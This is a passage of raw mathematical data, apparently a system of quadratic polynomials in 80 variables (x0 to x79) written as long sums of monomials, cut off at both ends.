+ x60*x61 + x60*x62 + x60*x68 + x60*x69 + x60*x70 + x60*x71 + x60*x72 + x60*x74 + x60*x75 + x60*x76 + x60 + x61*x63 + x61*x64 + x61*x65 + x61*x67 + x61*x73 + x61*x74 + x61*x76 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x66 + x62*x67 + x62*x68 + x62*x69 + x62*x71 + x62*x74 + x62*x75 + x62*x78 + x62 + x63*x67 + x63*x69 + x63*x70 + x63*x71 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x77 + x63*x79 + x63 + x64*x65 + x64*x66 + x64*x75 + x64*x78 + x64*x79 + x64 + x65*x67 + x65*x69 + x65*x70 + x65*x71 + x65*x72 + x65*x73 + x65*x74 + x65*x75 + x65*x76 + x65*x77 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x73 + x66*x74 + x66*x76 + x66*x77 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x73 + x67*x74 + x67*x75 + x67*x77 + x67*x79 + x68*x70 + x68*x71 + x68*x72 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x69*x71 + x69*x73 + x69*x74 + x69*x75 + x69*x78 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x76 + x70*x78 + x70*x79 + x71*x72 + x71*x73 + x71*x75 + x71*x76 + x71*x78 + x71*x79 + x72*x73 + x72*x77 + x72*x78 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x78 + x73*x79 + x74*x77 + x74 + x75*x76 + x75*x77 + x75*x78 + x75*x79 + x75 + x76*x78 + x77*x79 + 1, x0*x1 + x0*x2 + x0*x4 + x0*x5 + x0*x6 + x0*x8 + x0*x11 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x19 + x0*x20 + x0*x22 + x0*x23 + x0*x24 + x0*x28 + x0*x30 + x0*x31 + x0*x32 + x0*x33 + x0*x34 + x0*x37 + x0*x40 + x0*x41 + x0*x42 + x0*x45 + x0*x46 + x0*x47 + x0*x50 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x58 + x0*x59 + x0*x64 + x0*x65 + x0*x66 + x0*x70 + x0*x71 + x0*x74 + x0*x75 + x0 + x1*x2 + x1*x3 + x1*x5 + x1*x9 + x1*x10 + x1*x11 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x22 + x1*x23 + x1*x24 + x1*x29 + x1*x30 + x1*x31 + x1*x39 + x1*x44 + x1*x45 + x1*x47 + x1*x48 + x1*x50 + x1*x51 + x1*x55 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x71 + x1*x72 + x1*x73 + x1*x74 + x1*x77 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x7 + x2*x11 + x2*x14 + x2*x17 + x2*x18 + x2*x20 + x2*x24 + x2*x27 + x2*x29 + x2*x31 + x2*x38 + x2*x39 + x2*x40 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x56 + x2*x58 + x2*x61 + x2*x64 + x2*x66 + x2*x68 + x2*x70 + x2*x72 + x2*x74 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x8 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x19 + x3*x23 + x3*x24 + x3*x26 + x3*x29 + x3*x30 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x46 + x3*x48 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x63 + x3*x66 + x3*x67 + x3*x71 + x3*x72 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x8 + x4*x16 + x4*x17 + x4*x20 + x4*x23 + x4*x25 + x4*x29 + x4*x32 + x4*x39 + x4*x40 + x4*x42 + x4*x44 + x4*x46 + x4*x52 + x4*x55 + x4*x58 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x65 + x4*x68 + x4*x71 + x4*x72 + x4*x74 + x4*x75 + x4*x76 + x4*x79 + x4 + x5*x8 + x5*x10 + x5*x11 + x5*x14 + x5*x16 + x5*x19 + x5*x20 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x27 + x5*x32 + x5*x35 + x5*x37 + x5*x38 + x5*x39 + x5*x40 + x5*x42 + x5*x43 + x5*x44 + x5*x45 + x5*x46 + x5*x47 + x5*x51 + x5*x52 + x5*x53 + x5*x54 + x5*x56 + x5*x57 + x5*x59 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x69 + x5*x72 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x10 + x6*x13 + x6*x14 + x6*x15 + x6*x17 + x6*x18 + x6*x20 + x6*x25 + x6*x26 + x6*x27 + x6*x30 + x6*x32 + x6*x33 + x6*x36 + x6*x39 + x6*x41 + x6*x42 + x6*x43 + x6*x47 + x6*x49 + x6*x52 + x6*x53 + x6*x54 + x6*x57 + x6*x59 + x6*x60 + x6*x64 + x6*x65 + x6*x66 + x6*x70 + x6*x72 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x11 + x7*x13 + x7*x14 + x7*x17 + x7*x20 + x7*x22 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x40 + x7*x41 + x7*x43 + x7*x45 + x7*x46 + x7*x48 + x7*x53 + x7*x54 + x7*x55 + x7*x58 + x7*x60 + x7*x62 + x7*x65 + x7*x67 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x79 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x16 + x8*x17 + x8*x24 + x8*x25 + x8*x26 + x8*x27 + x8*x28 + x8*x30 + x8*x33 + x8*x34 + x8*x36 + x8*x41 + x8*x42 + x8*x46 + x8*x47 + x8*x49 + x8*x51 + x8*x53 + x8*x54 + x8*x57 + x8*x60 + x8*x61 + x8*x62 + x8*x65 + x8*x69 + x8*x70 + x8*x75 + x8*x76 + x8*x78 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x15 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x21 + x9*x25 + x9*x26 + x9*x28 + x9*x32 + x9*x34 + x9*x36 + x9*x37 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x51 + x9*x54 + x9*x55 + x9*x59 + x9*x62 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x73 + x9*x75 + x9*x76 + x10*x12 + x10*x18 + x10*x20 + x10*x22 + x10*x25 + x10*x26 + x10*x27 + x10*x30 + x10*x32 + x10*x33 + x10*x34 + x10*x35 + x10*x36 + x10*x39 + x10*x41 + x10*x44 + x10*x45 + x10*x50 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x69 + x10*x71 + x10*x73 + x10*x74 + x10*x76 + x10*x78 + x11*x12 + x11*x13 + x11*x14 + x11*x18 + x11*x19 + x11*x20 + x11*x22 + x11*x23 + x11*x29 + x11*x31 + x11*x33 + x11*x34 + x11*x37 + x11*x39 + x11*x40 + x11*x43 + x11*x46 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x56 + x11*x58 + x11*x59 + x11*x60 + x11*x61 + x11*x66 + x11*x68 + x11*x70 + x11*x71 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x14 + x12*x15 + x12*x17 + x12*x20 + x12*x21 + x12*x23 + x12*x26 + x12*x27 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x39 + x12*x40 + x12*x41 + x12*x43 + x12*x44 + x12*x48 + x12*x50 + x12*x57 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x15 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x27 + x13*x28 + x13*x29 + x13*x34 + x13*x35 + x13*x37 + x13*x40 + x13*x41 + x13*x43 + x13*x47 + x13*x51 + x13*x52 + x13*x54 + x13*x56 + x13*x59 + x13*x60 + x13*x66 + x13*x67 + x13*x69 + x13*x71 + x13*x72 + x13*x73 + x13*x78 + x14*x18 + x14*x20 + x14*x22 + x14*x24 + x14*x25 + x14*x27 + x14*x30 + x14*x31 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x41 + x14*x46 + x14*x48 + x14*x54 + x14*x55 + x14*x58 + x14*x59 + x14*x62 + x14*x63 + x14*x65 + x14*x67 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x79 + x15*x16 + x15*x17 + x15*x18 + x15*x22 + x15*x23 + x15*x24 + x15*x28 + x15*x29 + x15*x33 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x41 + x15*x45 + x15*x47 + x15*x49 + x15*x50 + x15*x55 + x15*x56 + x15*x58 + x15*x61 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x68 + x15*x73 + x15*x74 + x15*x77 + x15*x78 + x15*x79 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x21 + x16*x23 + x16*x29 + x16*x30 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x37 + x16*x41 + x16*x42 + x16*x44 + x16*x45 + x16*x46 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x59 + x16*x63 + x16*x64 + x16*x65 + x16*x68 + x16*x69 + x16*x70 + x16*x71 + x16*x72 + x16*x73 + x16*x74 + x16*x76 + x16*x78 + x17*x19 + x17*x20 + x17*x21 + x17*x24 + x17*x26 + x17*x27 + x17*x28 + x17*x29 + x17*x30 + x17*x31 + x17*x34 + x17*x35 + x17*x37 + x17*x40 + x17*x45 + x17*x47 + x17*x48 + x17*x51 + x17*x52 + x17*x54 + x17*x55 + x17*x57 + x17*x58 + x17*x59 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x72 + x17*x74 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x22 + x18*x24 + x18*x25 + x18*x26 + x18*x28 + x18*x32 + x18*x35 + x18*x37 + x18*x39 + x18*x41 + x18*x42 + x18*x45 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x54 + x18*x55 + x18*x57 + x18*x58 + x18*x59 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x73 + x18*x74 + x18*x76 + x18*x79 + x19*x22 + x19*x27 + x19*x28 + x19*x31 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x41 + x19*x43 + x19*x44 + x19*x47 + x19*x48 + x19*x49 + x19*x50 + x19*x51 + x19*x53 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x69 + x19*x74 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x26 + x20*x29 + x20*x31 + x20*x33 + x20*x34 + x20*x38 + x20*x39 + x20*x41 + x20*x43 + x20*x44 + x20*x46 + x20*x47 + x20*x50 + x20*x52 + x20*x53 + x20*x55 + x20*x58 + x20*x59 + x20*x60 + x20*x62 + x20*x67 + x20*x68 + x20*x69 + x20*x71 + x20*x74 + x20*x77 + x20 + x21*x22 + x21*x23 + x21*x24 + x21*x28 + x21*x29 + x21*x30 + x21*x33 + x21*x34 + x21*x35 + x21*x36 + x21*x41 + x21*x46 + x21*x47 + x21*x50 + x21*x52 + x21*x53 + x21*x59 + x21*x61 + x21*x67 + x21*x68 + x21*x73 + x21*x74 + x21*x77 + x21*x78 + x21*x79 + x22*x24 + x22*x25 + x22*x29 + x22*x30 + x22*x32 + x22*x33 + x22*x35 + x22*x37 + x22*x41 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x50 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x62 + x22*x63 + x22*x65 + x22*x67 + x22*x72 + x22*x73 + x22*x74 + x22*x78 + x22 + x23*x24 + x23*x36 + x23*x38 + x23*x39 + x23*x40 + x23*x41 + x23*x44 + x23*x45 + x23*x48 + x23*x51 + x23*x57 + x23*x58 + x23*x59 + x23*x63 + x23*x65 + x23*x66 + x23*x69 + x23*x73 + x23*x76 + x23*x77 + x23*x78 + x24*x25 + x24*x26 + x24*x27 + x24*x29 + x24*x30 + x24*x31 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x42 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x51 + x24*x52 + x24*x55 + x24*x60 + x24*x61 + x24*x64 + x24*x67 + x24*x70 + x24*x72 + x24*x76 + x24 + x25*x27 + x25*x29 + x25*x31 + x25*x32 + x25*x33 + x25*x35 + x25*x39 + x25*x40 + x25*x43 + x25*x48 + x25*x50 + x25*x52 + x25*x54 + x25*x55 + x25*x56 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x72 + x25*x73 + x25*x75 + x25*x76 + x25*x77 + x25*x79 + x26*x28 + x26*x29 + x26*x30 + x26*x31 + x26*x33 + x26*x37 + x26*x40 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x57 + x26*x58 + x26*x59 + x26*x63 + x26*x64 + x26*x66 + x26*x67 + x26*x68 + x26*x71 + x26*x72 + x26*x73 + x26*x75 + x26*x78 + x26*x79 + x27*x29 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x41 + x27*x43 + x27*x47 + x27*x49 + x27*x50 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x63 + x27*x66 + x27*x67 + x27*x68 + x27*x72 + x27*x74 + x27*x75 + x27*x76 + x27*x79 + x28*x29 + x28*x31 + x28*x36 + x28*x38 + x28*x40 + x28*x42 + x28*x43 + x28*x46 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x55 + x28*x56 + x28*x61 + x28*x65 + x28*x66 + x28*x68 + x28*x74 + x28*x75 + x28*x76 + x28*x77 + x28 + x29*x30 + x29*x34 + x29*x35 + x29*x37 + x29*x38 + x29*x39 + x29*x42 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x61 + x29*x63 + x29*x64 + x29*x66 + x29*x71 + x29*x73 + x29*x75 + x29*x77 + x29*x78 + x29 + x30*x31 + x30*x32 + x30*x34 + x30*x36 + x30*x37 + x30*x39 + x30*x40 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x47 + x30*x48 + x30*x51 + x30*x53 + x30*x54 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x66 + x30*x67 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x34 + x31*x35 + x31*x39 + x31*x41 + x31*x42 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x48 + x31*x51 + x31*x53 + x31*x56 + x31*x57 + x31*x58 + x31*x59 + x31*x60 + x31*x61 + x31*x63 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x31*x79 + x32*x34 + x32*x37 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x44 + x32*x45 + x32*x47 + x32*x49 + x32*x52 + x32*x53 + x32*x61 + x32*x62 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32 + x33*x36 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x51 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x62 + x33*x63 + x33*x64 + x33*x66 + x33*x67 + x33*x72 + x33*x73 + x33*x77 + x34*x36 + x34*x38 + x34*x41 + x34*x42 + x34*x47 + x34*x51 + x34*x52 + x34*x53 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x62 + x34*x65 + x34*x72 + x34*x73 + x34*x77 + x34*x79 + x34 + x35*x39 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x51 + x35*x54 + x35*x59 + x35*x62 + x35*x64 + x35*x65 + x35*x68 + x35*x69 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35*x77 + x35 + x36*x40 + x36*x41 + x36*x43 + x36*x46 + x36*x47 + x36*x51 + x36*x53 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x62 + x36*x63 + x36*x67 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x78 + x37*x38 + x37*x40 + x37*x42 + x37*x43 + x37*x45 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x58 + x37*x60 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x74 + x37*x75 + x37*x77 + x37*x78 + x37 + x38*x44 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x56 + x38*x57 + x38*x60 + x38*x62 + x38*x66 + x38*x69 + x38*x73 + x38*x74 + x38*x75 + x38*x78 + x38*x79 + x39*x42 + x39*x44 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x53 + x39*x54 + x39*x56 + x39*x57 + x39*x59 + x39*x61 + x39*x68 + x39*x69 + x39*x71 + x39*x73 + x39*x74 + x39*x75 + x39*x79 + x40*x41 + x40*x42 + x40*x44 + x40*x46 + x40*x48 + x40*x51 + x40*x55 + x40*x61 + x40*x68 + x40*x73 + x40*x75 + x40*x76 + x40*x78 + x40 + x41*x44 + x41*x47 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x69 + x41*x71 + x41*x72 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x42*x43 + x42*x47 + x42*x48 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x62 + x42*x63 + x42*x68 + x42*x70 + x42*x71 + x42*x72 + x42*x74 + x42*x75 + x42*x76 + x42*x77 + x42 + x43*x46 + x43*x49 + x43*x50 + x43*x59 + x43*x60 + x43*x65 + x43*x66 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x49 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x61 + x44*x62 + x44*x64 + x44*x65 + x44*x69 + x44*x72 + x44*x75 + x44*x78 + x45*x46 + x45*x49 + x45*x50 + x45*x51 + x45*x53 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x66 + x45*x68 + x45*x70 + x45*x72 + x45*x74 + x45*x75 + x45 + x46*x51 + x46*x52 + x46*x53 + x46*x61 + x46*x63 + x46*x64 + x46*x66 + x46*x68 + x46*x71 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x77 + x47*x48 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x56 + x47*x58 + x47*x59 + x47*x60 + x47*x62 + x47*x64 + x47*x67 + x47*x69 + x47*x71 + x47*x72 + x47*x75 + x47*x76 + x47*x77 + x47 + x48*x49 + x48*x50 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x67 + x48*x68 + x48*x70 + x48*x72 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x48 + x49*x55 + x49*x56 + x49*x59 + x49*x62 + x49*x63 + x49*x66 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x77 + x49 + x50*x52 + x50*x54 + x50*x58 + x50*x59 + x50*x60 + x50*x63 + x50*x66 + x50*x68 + x50*x69 + x50*x70 + x50*x73 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x52*x53 + x52*x54 + x52*x57 + x52*x58 + x52*x59 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x77 + x52*x79 + x53*x56 + x53*x57 + x53*x58 + x53*x60 + x53*x62 + x53*x63 + x53*x66 + x53*x69 + x53*x71 + x53*x76 + x53*x78 + x53*x79 + x53 + x54*x58 + x54*x60 + x54*x62 + x54*x65 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x75 + x54*x76 + x54*x78 + x55*x62 + x55*x64 + x55*x67 + x55*x68 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x66 + x56*x68 + x56*x71 + x56*x75 + x56*x77 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x66 + x57*x68 + x57*x71 + x57*x72 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x63 + x58*x64 + x58*x66 + x58*x68 + x58*x70 + x58*x73 + x58*x74 + x58*x78 + x58 + x59*x60 + x59*x62 + x59*x63 + x59*x68 + x59*x74 + x59*x76 + x59*x79 + x60*x61 + x60*x63 + x60*x70 + x60*x71 + x60*x73 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x65 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x79 + x62*x68 + x62*x70 + x62*x71 + x62*x75 + x62*x76 + x62*x78 + x62 + x63*x64 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x74 + x63*x77 + x63*x78 + x63*x79 + x64*x65 + x64*x69 + x64*x70 + x64*x71 + x64*x72 + x64*x75 + x64*x77 + x64*x78 + x65*x66 + x65*x68 + x65*x69 + x65*x71 + x65*x74 + x65 + x66*x67 + x66*x71 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x67*x69 + x67*x70 + x67*x72 + x67*x74 + x67*x76 + x67*x77 + x67*x79 + x67 + x68*x70 + x68*x72 + x68*x74 + x68*x75 + x68*x77 + x68*x79 + x69*x71 + x69*x72 + x69*x74 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x73 + x70*x74 + x70*x76 + x70*x78 + x71*x72 + x71*x74 + x71*x78 + x71*x79 + x71 + x72*x75 + x72*x78 + x73*x74 + x73*x75 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x78 + x75*x77 + x76*x77 + x76*x78 + x76*x79 + x77 + x78*x79 + x79, x0*x3 + x0*x4 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x12 + x0*x14 + x0*x18 + x0*x19 + x0*x23 + x0*x25 + x0*x29 + x0*x31 + x0*x32 + x0*x33 + x0*x35 + x0*x38 + x0*x40 + x0*x41 + x0*x44 + x0*x46 + x0*x48 + x0*x49 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x60 + x0*x61 + x0*x62 + x0*x65 + x0*x69 + x0*x70 + x0*x75 + x0*x76 + x0*x77 + x0*x78 + x0 + x1*x2 + x1*x4 + x1*x5 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x18 + x1*x19 + x1*x24 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x41 + x1*x42 + x1*x44 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x51 + x1*x53 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x67 + x1*x68 + x1*x73 + x1*x76 + x1*x78 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x11 + x2*x13 + x2*x16 + x2*x17 + x2*x22 + x2*x24 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x56 + x2*x59 + x2*x60 + x2*x61 + x2*x64 + x2*x70 + x2*x71 + x2*x72 + x2*x74 + x2*x78 + x3*x4 + x3*x9 + x3*x10 + x3*x12 + x3*x14 + x3*x16 + x3*x17 + x3*x19 + x3*x20 + x3*x22 + x3*x26 + x3*x27 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x43 + x3*x45 + x3*x47 + x3*x52 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x71 + x3*x73 + x3*x74 + x3*x75 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x11 + x4*x12 + x4*x14 + x4*x17 + x4*x20 + x4*x22 + x4*x27 + x4*x30 + x4*x33 + x4*x34 + x4*x39 + x4*x40 + x4*x43 + x4*x44 + x4*x45 + x4*x46 + x4*x48 + x4*x50 + x4*x53 + x4*x55 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x64 + x4*x66 + x4*x71 + x4*x72 + x4*x76 + x4 + x5*x6 + x5*x9 + x5*x10 + x5*x13 + x5*x16 + x5*x17 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x32 + x5*x33 + x5*x35 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x44 + x5*x47 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x54 + x5*x57 + x5*x58 + x5*x59 + x5*x61 + x5*x62 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x11 + x6*x14 + x6*x16 + x6*x21 + x6*x23 + x6*x24 + x6*x28 + x6*x31 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x45 + x6*x46 + x6*x47 + x6*x49 + x6*x51 + x6*x52 + x6*x59 + x6*x62 + x6*x63 + x6*x65 + x6*x68 + x6*x69 + x6*x71 + x6*x72 + x6*x74 + x6*x76 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x15 + x7*x18 + x7*x19 + x7*x20 + x7*x22 + x7*x23 + x7*x26 + x7*x29 + x7*x31 + x7*x32 + x7*x33 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x42 + x7*x45 + x7*x46 + x7*x48 + x7*x52 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x61 + x7*x64 + x7*x65 + x7*x67 + x7*x68 + x7*x69 + x7*x70 + x7*x73 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x15 + x8*x16 + x8*x17 + x8*x20 + x8*x22 + x8*x26 + x8*x27 + x8*x29 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x39 + x8*x40 + x8*x43 + x8*x44 + x8*x50 + x8*x51 + x8*x52 + x8*x54 + x8*x55 + x8*x62 + x8*x65 + x8*x68 + x8*x69 + x8*x70 + x8*x71 + x8*x74 + x8*x77 + x8*x78 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x24 + x9*x26 + x9*x28 + x9*x31 + x9*x33 + x9*x36 + x9*x38 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x52 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x61 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x79 + x10*x11 + x10*x12 + x10*x13 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x24 + x10*x26 + x10*x27 + x10*x28 + x10*x36 + x10*x39 + x10*x42 + x10*x43 + x10*x47 + x10*x48 + x10*x49 + x10*x51 + x10*x53 + x10*x54 + x10*x58 + x10*x59 + x10*x60 + x10*x63 